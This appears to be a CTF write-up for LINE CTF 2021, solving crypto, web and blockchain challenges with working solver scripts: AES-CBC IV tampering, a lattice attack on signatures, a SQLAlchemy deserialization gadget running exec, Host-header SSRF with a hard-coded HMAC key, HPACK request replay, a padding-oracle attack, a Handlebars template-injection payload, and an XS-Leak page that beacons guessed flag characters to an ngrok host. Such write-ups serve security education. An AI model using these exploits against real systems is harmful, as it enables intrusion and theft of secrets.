:)
We can encode arbitrary block with chosen IV, so we can extend the given block with arbitrary content.
from ptrlib import Socket, logger
from base64 import b64encode, b64decode
from Crypto.Cipher import AES
con = Socket('35.200.115.41', 16001)
test = b64decode(con.recvlineafter('test Command: '))
iv = test[:AES.block_size]
cipher = test[AES.block_size:]
token_block = cipher[:-AES.block_size]
command_block = cipher[-AES.block_size:]
con.sendlineafter('IV...: ', b64encode(token_block[-AES.block_size:]))
con.sendlineafter('Message...: ', b64encode(b'show'))
result = b64decode(con.recvlineafter('Ciphertext:'))
new_iv = result[:AES.block_size]
new_block = result[AES.block_size:]
exploit = b64encode(iv + token_block + new_block)
con.sendlineafter('Enter your command: ', exploit)
logger.info(con.recvuntil('}'))
LINECTF{warming_up_crypto_YEAH}
With chosen iv we can rewrite the first block into arbitrary content.
from ptrlib import Socket, logger
from base64 import b64encode, b64decode
from Crypto.Cipher import AES
from Crypto.Util.number import bytes_to_long, long_to_bytes
con = Socket('35.200.39.68', 16002)
test = b64decode(con.recvlineafter('test Command: '))
iv = test[:AES.block_size]
cipher = test[AES.block_size:]
new_iv_num = bytes_to_long(iv) ^ bytes_to_long(b'testxxx') ^ bytes_to_long(b'showxxx')
new_iv = long_to_bytes(new_iv_num, 16)
exploit = b64encode(new_iv + cipher)
con.sendline(exploit)
logger.info(con.recvuntil('}'))
LINECTF{echidna_kawaii_and_crypto_is_difficult}
$ openssl rsa -in pub.pem -pubin -text
RSA Public-Key: (394 bit)
Modulus:
03:28:b1:41:39:a2:e5:4b:88:a4:66:2f:1a:67:cc:
3a:cd:19:29:c9:b6:27:94:bb:64:91:6a:ff:02:99:
1f:80:45:6e:4d:0e:ed:4d:59:1d:f7:70:8d:5a:f2:
e9:b4:fb:56:89
Exponent: 65537 (0x10001)
writing RSA key
-----BEGIN PUBLIC KEY-----
ME0wDQYJKoZIhvcNAQEBBQADPAAwOQIyAyixQTmi5UuIpGYvGmfMOs0ZKcm2J5S7
ZJFq/wKZH4BFbk0O7U1ZHfdwjVry6bT7VokCAwEAAQ==
-----END PUBLIC KEY-----
N = 31864103015143373750025799158312253992115354944560440908105912458749205531455987590931871433911971516176954193675507337
e = 65537
I don't know why, but I can guess the prime.
p = 291664785919250248097148750343149685985101
LINECTF{CLOSING THE DISTANCE.}
We have the approximate value of
Then this is HNP (Hidden number problem).
from sage.modules.free_module_integer import IntegerLattice
# Babai's Nearest Plane algorithm
# from: http://mslc.ctf.su/wp/plaidctf-2016-sexec-crypto-300/
def Babai_closest_vector(M, G, target):
small = target
for _ in range(1):
for i in reversed(range(M.nrows())):
c = ((small * G[i]) / (G[i] * G[i])).round()
small -= M[i] * c
return target - small
signs = [
(0x92acb929727872bc1c7a5f69c1c3c97ae1c333e2, 0xe060459440ebc11a7cd811a66a341f095f5909e5, 0xef2b0000, 0x68e548ef4984f6e7d05cbcea4fc7c83393806bbf),
(0xb0f5df566a323de9c9449b925d29b84a607c6b5d, 0x84e39e417e47b4fcaf344255103c61ecaaec4129, 0xc1c00000, 0x1a79e7b0308805508d79f2600a01e70d4f56559e),
(0xc90081698382f98c817a137db22f11a846d699fe, 0x2f8fbb7e74b789cd762b30930ef21862a5fd68ee, 0x841b0000, 0x95e3302e197be4d8335cf0d17cc70860ea5317f7),
(0x9d84669314b014bc83f3ac53ddcf3c9536c940b1, 0x8b1a69d6e9d75f1698144badc7b93f9a2347839d, 0xa1c90000, 0xc7af08154a154ac8c58eb14380955834093b3863),
(0x96d5439a01f47e92be9ff40bee1fecb033b70d3f, 0x1c23660695d16bf03ef40e5ef53bdc92a5d348e7, 0x816e0000, 0x9d3f0dc80e962b9377ed22de66d6421457bcaf5d),
(0x3ea39f6c446918690b395ba181f6d5d08444897a, 0x4478e239338ec6652815d03b8decb2d4f58beaba, 0x9d050000, 0x478e00e6191477e6cdd17a29719d96d02e5e8960),
(0xbd1cbcd26fb6cb41878ec155fb2506534e803c97, 0xd732fbda187222d85e9a14243b007cc25e1b6b7c, 0x445a0000, 0x2493379cf90246fe7316963c65f28cd9b0a6ecd4),
(0x727f7f05a9096beb6d5f65acce6fe42ec3a07dc9, 0x8511715efb01ff83b04fe82fb7535dc7de40abef, 0x91d0000, 0x6ce034dddd5470034068c5146fae4dd039aacaf6),
(0x513ed0e15f8f3405bf0083a2186926fe60ccb65e, 0x28892ebcc428f2a566b39a2dbe03ec436641c948, 0x879d0000, 0xfe4e2564369a23e07efbf82d01c5ae7e72cd8105),
(0xebf3e23fbe73c5f50032c8e4a3d8359fef203a03, 0xa5b79ae6f8ed237a05b4325c02b8dfe7b9ff5aa7, 0x98950000, 0x762309f98ebac533fece5321736fc6ba95d8382b),
(0xc49cdbf6ec3b73188238291fa960675a099b74a0, 0xeabb1e7dcd20115a47b94ecfe8780f676e237437, 0x287a0000, 0x523ea75c4310ac1ac64fa28cc5047b7223e8da0b),
(0x9e8a731a26f509793e2b8778cd75b518549ab9c8, 0x27be029029db9d62cdb729bc592cb0a4e6168bf3, 0xebc80000, 0x9f0e9e95661f5e93c90b72af0dce38c673c7ef16),
(0xa74159f377749ad36efc28f9c7608a6758009af, 0xa3ce2671944b01f633265a6458ce2cca8b72eda6, 0x574c0000, 0x16e12f9dece23681927be002d24a0e4e6ed3ae7e),
(0xcb0a427a05b3e3dcb18a1bb66f9340d2a0c721ab, 0x4a242cca295c6018f4a65d1fadbdb45731cccd7a, 0x23f40000, 0xd7e0a09d8aed604bc1fda1f1965c4a8bf6b58621),
(0x5dc440585c88e75da002f941520867add07f93ef, 0x3612124de46659ef7d79d46f1eb05707e313b84d, 0x65850000, 0xca6547a9e3f08bd36f700b7282a36033250971ad),
(0x6e009a8f5138a5b94d4e81b5f2a07ee29b413b39, 0x8b3c33c15dca93248f840324d540b7956251d1e0, 0xb4f80000, 0xe916da678253ff7b31453ba1ec709eb909b37c5d),
(0x5091314db6155d7a96c1b19098ca235cf86d1f77, 0x2c62bf21452a2b326e8db27fb3345e10c63b2821, 0x452c0000, 0x31dd06dcf95fb04a734149eed64b7b99a575d56e),
(0x2f6eed036a46ca6e309d8d7292bd3b0796607fcc, 0x63b4524f47dcde603426c48bbb2f308bc474e5ce, 0x63780000, 0xe108d036a12b4f15cc9af89688d26634c5dfc32a),
(0x247ca1d3450a85612e6176ea5dfec4aeb90e2a3f, 0x66b1f9f04e284e28f44402f1ca7803c90786d9c2, 0x48a0000, 0xd58c608cc4d3adfc131c73cccff952c1d310a1e0),
(0xab04fc0c4981b047622c786662091f7efbbbd807, 0xa2853851df0aaed34dc972bcf7d7d5ffbbc2b401, 0x9d040000, 0x5bdd98b548b8b0f48a56fb4c41e6d09bf8bd1b0e),
]
n = len(signs)
p = 0x0100000000000000000001f4c8f927aed3ca752257
F = GF(p)
xs = [F(r) // F(s) for r, s, k, m in signs]
m = [list(map(int, xs))]
for i in range(n):
v = [0] * n
v[i] = p
m.append(v)
zs = [int(F(k) - F(m) // F(s)) for r, s, k, m in signs]
m = matrix(ZZ, m)
lattice = IntegerLattice(m, lll_reduce=True)
E = lattice.reduced_basis
gram = E.gram_schmidt()[0]
res = Babai_closest_vector(E, gram, vector(ZZ, zs))
for z, v, sign in zip(zs, res, signs):
r, s, k, m = sign
e = v - z
print(F(s * (k + e) - m) // F(r))
LINECTF{0c02d451ad3c1ac6b612a759a92b770dd3bca36e}
I assumed that when the server receives RecipeCreateRequest
it executes
# message: RecipeCreateRequest
items = message.materials.split(",")
item0 = items[0]
item1 = items[1]
# look up the recipe table...
So I replaced object_to_dict
in client script with the code below.
def object_to_dict(c):
res = {}
res["__class__"] = str(c.__class__.__name__)
res["__module__"] = str(c.__module__)
res.update(c.__dict__)
if c.__class__.__name__ == 'RecipeCreateRequest':
res["materials"] = {
"__class__": "RandomSet",
"__module__": "sqlalchemy.testing.util",
"split": {
"__class__": "BooleanPredicate",
"__module__": "sqlalchemy.testing.exclusions",
"value": {
"__class__": "ConventionDict",
"__module__": "sqlalchemy.sql.naming", "convention": [],
"_key_0": {
"__class__": "_class_resolver",
"__module__": "sqlalchemy.ext.declarative.clsregistry",
"arg": "exec(\"raise Exception(open('flag').read())\")",
"_dict": {} }}}}
return res
When the server receives this object, BooleanPredicate#__call__
is called with an argument ","
, and ConventionDict#__getitem__
is called and finally _class_resolver#__call__
, which contains eval
operation, is called with no arguments.
Exception: Exception('LINECTF{4t3l13r_Pyza_th3_4lch3m1st_0f_PyWN}\n')
LanguageNormarize
at private/app/main.py
has an obvious SSRF.
def LanguageNomarize(request):
if request.headers.get('Lang') is None:
return "en"
else:
regex = '^[!@#$\\/.].*/.*' # Easy~~
language = request.headers.get('Lang')
language = re.sub(r'%00|%0d|%0a|[!@#$^]|\.\./', '', language)
if re.search(regex,language):
return request.headers.get('Lang')
try:
data = requests.get(request.host_url+language, headers=request.headers)
if data.status_code == 200:
return data.text
else:
return request.headers.get('Lang')
except:
return request.headers.get('Lang')
Here, you can control request.host_url
with any value by HTTP Host
header, because nobody sees the value. You can specify Host: 127.0.0.1:5000
to access the internal endpoints such as integrityStatus
, download
and rollback
.
Although download
and rollback
endpoints are protected by SignCheck
, with the hard-coded privateKey
, it's of no value.
privateKey = b'let\'sbitcorinparty'
def SignCheck(request):
sigining = hmac.new( privateKey , request.query_string, hashlib.sha512 )
if sigining.hexdigest() != request.headers.get('Sign'):
return False
else:
return True
Then, just do
dbhash
at integrityStatus
APIintegrityKey
backup/{file}
backup/{file}
require 'json'
require 'net/http'
require 'digest/sha2'
require 'openssl'
key = "let'sbitcorinparty"
uri = URI('http://35.200.63.50/apis/coin')
# uri = URI('http://localhost:12004/apis/coin')
req = Net::HTTP::Get.new(uri.path)
req['Host'] = '127.0.0.1:5000'
Net::HTTP.start(uri.host, uri.port) do |http|
req['Lang'] = 'integrityStatus'
resp = http.request req
p resp['lang']
p resp.body
h = JSON.parse(resp['lang'])['dbhash']
qs = 'src=https://www.google.com/webhp'
req['Lang'] = 'download?' + qs
req['Key'] = Digest::SHA512.hexdigest(h)
req['Sign'] = OpenSSL::HMAC.hexdigest('sha512', key, qs)
resp = http.request req
p resp['lang']
p resp.body
qs = 'dbhash=' + 'webhp'
req['Lang'] = 'rollback?' + qs
req['Key'] = Digest::SHA512.hexdigest(h)
req['Sign'] = OpenSSL::HMAC.hexdigest('sha512', key, qs)
resp = http.request req
p resp['lang']
p resp.body
end
HTTP/2 has a header compression technology called HPACK.
With this feature, the client and the server share the context so that you don't have to resend the header that you preveiously sent in the same connection.
conn = create_connection()
conn.request("GET", "/health")
resp = conn.get_response()
headers = {
cfg["HEADER"]["USERNAME"]: cfg["ADMIN"]["USERNAME"],
cfg["HEADER"]["PASSWORD"]: cfg["ADMIN"]["PASSWORD"],
}
conn.request("GET", "/auth", headers=headers)
resp = conn.get_response()
conn._new_stream()
conn._send_cb(data["data"].encode('latin-1'))
conn._sock.fill()
return conn._sock.buffer.tobytes()
In this problem, you can send any data in data["data"]
after a request with credentials in header was made in the same connection. Here, you can replay the /auth
request without the knowledge of credentials by HPACK abuse.
To get an actual data to be sent,
$ pip install -r requirements.txt -t vendor
_send_fb
in hyper
to dump data
with self._lock:
try:
+ import binascii
+ import sys
+ print(binascii.hexlify(data), file=sys.stderr)
self._sock.sendall(data)
except socket.error as e:
public/src/internal.py
like
conn = create_connection()
conn.request("GET", "/health")
resp = conn.get_response()
headers = {
cfg["HEADER"]["USERNAME"]: cfg["ADMIN"]["USERNAME"],
cfg["HEADER"]["PASSWORD"]: cfg["ADMIN"]["PASSWORD"],
}
conn.request("GET", "/auth", headers=headers)
resp = conn.get_response()
- conn._new_stream()
- conn._send_cb(data["data"].encode('latin-1'))
- conn._sock.fill()
- return conn._sock.buffer.tobytes()
+ import sys
+ print("BEGIN", file=sys.stderr)
+ conn.request("GET", "/auth", headers=headers)
+ print("END", file=sys.stderr)
+ return conn.get_response().read()
linectf_babyweb_public | b''
linectf_babyweb_public | BEGIN
linectf_babyweb_public | b'0000060105000000058287c2c0bfbe'
linectf_babyweb_public | b''
linectf_babyweb_public | END
linectf_babyweb_public | 172.26.0.4 - - [22/Mar/2021 15:44:56] "POST /internal/health HTTP/1.1" 200 -
linectf_babyweb_httpd | 172.26.0.1 - - [22/Mar/2021:15:44:56 +0000] "POST /internal/health HTTP/1.1" 200 171
Then, send the obtained payload to the remote:
$ curl -XPOST http://35.187.196.233/internal/health \
-H "Content-Type: application/json" \
-d '{"type": "2", "data": "\u0000\u0000\u0006\u0001\u0005\u0000\u0000\u0000\u0005\u0082\u0087\u00c2\u00c0\u00bf\u00be"}' -v \
| cat
{"result":true,"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4iLCJpYXQiOjE2MTYyNTY3MDR9.eaDbPz0kKHMZymYIIFmwb5FWcnufpsIZWzgRWh0AELg"}
In the almost same way, by the power of HPACK, you can make a request with only path
and x-token
overrided keeping the admin credentials.
const abi = JSON.parse('[{"inputs":[{"internalType":"address","name":"_admin_account","type":"address"},{"internalType":"address payable","name":"_fee_account","type":"address"},{"internalType":"string","name":"_description","type":"string"},{"internalType":"uint256","name":"_max_holders","type":"uint256"},{"internalType":"uint256","name":"_amount","type":"uint256"},{"internalType":"uint256","name":"_fixed_fee","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[],"name":"AdminApprovalRequired","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint16","name":"_answer","type":"uint16"}],"name":"AdminApproved","type":"event"},{"anonymous":false,"inputs":[],"name":"Cancelled","type":"event"},{"anonymous":false,"inputs":[],"name":"Closed","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"from","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"answer","type":"uint256"}],"name":"Locked","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"from","type":"address"},{"indexed":false,"internalType":"uint16","name":"_answer","type":"uint16"}],"name":"UserJudged","type":"event"},{"inputs":[{"internalType":"uint16","name":"_answer","type":"uint16"}],"name":"adminJudge","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"cancelByAdmin","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"cancelByUser","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getLocked","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getLockedList","outputs":[{"internalType":"address[]","name":"","type":"address[]"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint16","name":"_answer","type":"uint16"}],"name":"lock","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"revoke","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint16","name":"_answer","type":"uint16"}],"name":"userJudge","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]');
var Contract = require('web3-eth-contract');
var contract = new Contract(abi);
var txdata = contract.methods.lock(2).encodeABI();
var Tx = require('ethereumjs-tx');
var privateKey = Buffer.from("804365e293b9fab9bd11bddd39082396d56d30779efbb3ffb0a6089027902c4a", "hex")
var Saddr = "0xe7 cb 1c 67 75 2c bb 97 5a 56 81 5a f2 42 ce 2c e6 3d 31 13".split(' ').join('');
var rawTx = {
nonce: '0x00',
gasLimit: '0x27100',
to: Saddr,
value: '0x70000000000000000',
data: txdata
}
var tx = new Tx.Transaction(rawTx);
tx.sign(privateKey);
var tjson = {};
for(let i=0;i<tx.raw.length;i++){
tjson[tx._fields[i]] = '0x' + tx.raw[i].toString('hex');
}
var jstr = JSON.stringify(tjson);
var idat = `-999931337\n${jstr}`;
const fs = require('fs');
fs.writeFileSync('i',idat)
// cat i - | nc 34.84.178.140 13000
// 1\n1\n4\n
// LINECTF{S4kura_hira_hira_come_to_spring}
When the search hits the flag, the JSON with Content-disposition: attachment;filename=result.json
is downloaded.
So we searched the term "Content-Disposition" in XS-Leaks Wiki and Navigations | XS-Leaks Wiki gave us answer.
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>Exploit</title>
</head>
<body>
<script>
const log = (message) => {
const img = document.createElement('img');
img.src = `/answer/${message}`;
document.body.appendChild(img);
};
const params = (new URL(document.location)).searchParams;
const origin = params.get('origin');
const prefix = params.get('prefix');
const chars = 'abcdefghijklmnopqrstuvwxyz0123456789-}'.split('');
const wins = [];
for (const char of chars) {
const url = `http://${origin}/search?q=${encodeURIComponent(prefix + char)}&download=true`;
const win = window.open(url);
wins.push(win);
}
setTimeout(() => {
const answers = [];
for (const [i, win] of wins.entries()) {
try {
win.origin;
answers.push(chars[i])
} catch (e) {
// nop
}
}
log(prefix + answers.join(','))
}, 5000)
</script>
</body>
</html>
http://34.84.72.167/login?redirect=%40e300c5feadf1.ngrok.io%2Fexploit.html%3forigin=34.84.72.167%26prefix=LINECTF%7B1-kn0w-what-y0u-d0wn10ad
LINECTF{1-kn0w-what-y0u-d0wn10ad}
Solving this challenge was really (unnecessarily) exhausting because solving PoW is too slow and server downs during solving it many times.
TL;DR It's a web challenge, so perform padding oracle attack.
You can join to alice:bob room by just connecting to socket.io endpoint with any session information and then emit('join', {room: 'alice:bob'})
. In the room, any message
from alice can be captured. You can even send message
to alice.
However, the text in messages
is encrypted with AES-CBC… (See code around sendMessage
in /3233-front/app/src/views/Chat.vue
.) Though you can send any message
, alice's browser will fail to decrypt your text because alice tries to decrypt it with a shared secret key with bob, so meaningless… Really???
In this problem, alice's browser marks the received messages as read
. You are notified through read
packets which messages has been read by alice. When alice fails to decrypt a message, crypto library throws an exception, so read
packet won't be sent.
It can be oracle for padding oracle attack against AES-CBC.
Some scripting will show you the decrypted FLAG.
const socket = require('socket.io-client')("http://34.84.186.5/", {
path: '/api/socket',
extraHeaders: {
cookie: 'sessionId=s%3AJeDePsik5pbnZgUpEjJwyk8i9_eYe9EM.YCARMr3RZ%2BFT1PYrw7MLnlQeTIODr7cRVSy6LfZBGsE',
},
});
socket.on('connection', () => console.log('connect!'));
socket.on('message', (data) => {
console.log(JSON.stringify({
...data,
...{message: data.message.toString('hex')},
type: 'message',
}));
});
socket.on('read', (data) => {
console.log(JSON.stringify({
...data,
type: 'read',
}));
});
socket.emit('join', {room: 'alice:bob'});
(async () => {
for await (const line of process.stdin) {
socket.emit('message', {
message: Buffer.from((''+line).trim(), 'hex'),
to: 'alice',
});
}
})();
require 'json'
require 'thread'
$read = {}
$m2id = {}
# original code is at https://github.com/mudge/padding-oracles
class Oracle
attr_reader :cipher
def initialize(cipher)
@cipher = cipher
end
def attack(ciphertext)
ciphertext_blocks = cipher.split(ciphertext)
ciphertext_blocks.each_cons(2).flat_map { |previous_block, target_block|
m = Array.new(cipher.block_size)
cipher.block_size.pred.downto(0).each do |i|
pad = cipher.block_size - i
padding_size = cipher.block_size - i - 1
butlast = previous_block[0, i]
padding = padding_size.downto(1).map { |j| previous_block[cipher.block_size - j] ^ m[cipher.block_size - j] ^ pad }
$res = Array.new(256)
$q = 256.times.to_a
threads = 20.times.map {
Thread.start do
while g = $q.shift
warn g
crafted_ciphertext = butlast + [previous_block[i] ^ g ^ pad] + padding + target_block
$res[g] = cipher.valid_padding?(crafted_ciphertext.pack('C*')) && pad != g
$q = [] if $res[g]
end
end
}
threads.map(&:join)
m[i] = (0..255).find { |g| $res[g] } || pad
warn 'progressing...', m.map{|x|x || 0x3f}.pack("C*")
end
m
}.pack('C*')
end
end
class Cipher
attr_reader :block_size
def initialize(data)
@data = data
@block_size = 16
end
def valid_padding?(ciphertext)
hex = ciphertext.unpack1("H*")
id = nil
loop do
$io.puts hex
sleep 0.5
id = $m2id[hex]
break if id
end
warn 'detecting.... %s, %s' % [hex, id]
sleep 1
res = $read[id]
warn 'read! %s' % id if res
res
end
def split(bytestring)
bytestring.unpack('C*').each_slice(block_size).entries
end
end
IO.popen('node client.js', "r+") do |io|
$io = io
nil until obj = JSON.parse(io.gets) and obj['type'] == 'message' and obj['from'] == 'alice' and obj['to'] == 'bob'
puts obj
msg = [obj['message']].pack("H*")
Thread.new do
loop do
while obj = JSON.parse($io.gets)
case obj['type']
when 'message'
$m2id[obj['message']] = obj['id']
when 'read'
$read[obj['id']] = true
end
end
end
end
cipher = Cipher.new(msg)
puts Oracle.new(cipher).attack(msg)
end
if(!saveOptions.ext.includes('.ejs') || saveOptions.ext.length !== 4) isChecked = false;
can be bypassed by using an array like "ext": [".ejs", "", "", ".js"]
and we can put the file with arbitrary extension.
In the rendering section:
res.render(`sandbox/${req.params.sandboxPath}/${req.params.filename}`, {flag});
is called. The res.render
function uses the extension to determine which kind of template they use.
By looking at package.json
, we can see the suspicious unused package hbs
. This can be used to bypass <>
check.
The remaining task is to crack handlebars to output flag
variable without using the string flag
.
After the tries after tries, I constructed the following payload.
{{#with this as |o|}}
{{#with "fl" as |s|}}
{{#with (s.concat "ag") as |n|}}
{{#with (n.slice 0 4) as |p|}}
{{lookup o p}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
Final solver:
const axios = require('axios');
const exploit = `
{{#with this as |o|}}
{{#with "fl" as |s|}}
{{#with (s.concat "ag") as |n|}}
{{#with (n.slice 0 4) as |p|}}
{{lookup o p}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
`;
(async () => {
const filename = Array.from(Array(16).keys()).map(() => 'abcdefgh'[Math.floor(Math.random() * 8)]).join('');
const res = await axios.post('http://localhost:8000/550a47c54a2c9d980a7b1ba202bebbbdbe37bd36954424d2c1d5d135bfd9f3cf', {
contents: exploit,
filename,
ext: [".ejs", "a", "a", "a.hbs"],
});
console.log(res.data);
try {
const {data} = await axios.get(`http://localhost:8000/550a47c54a2c9d980a7b1ba202bebbbdbe37bd36954424d2c1d5d135bfd9f3cf/${filename}.ejs,a,a,a.hbs`);
console.log(data);
} catch (e) {
console.log(e.response.data);
}
})();
LINECTF{I_think_emilia_is_reallllly_t3nshi}
Definitely.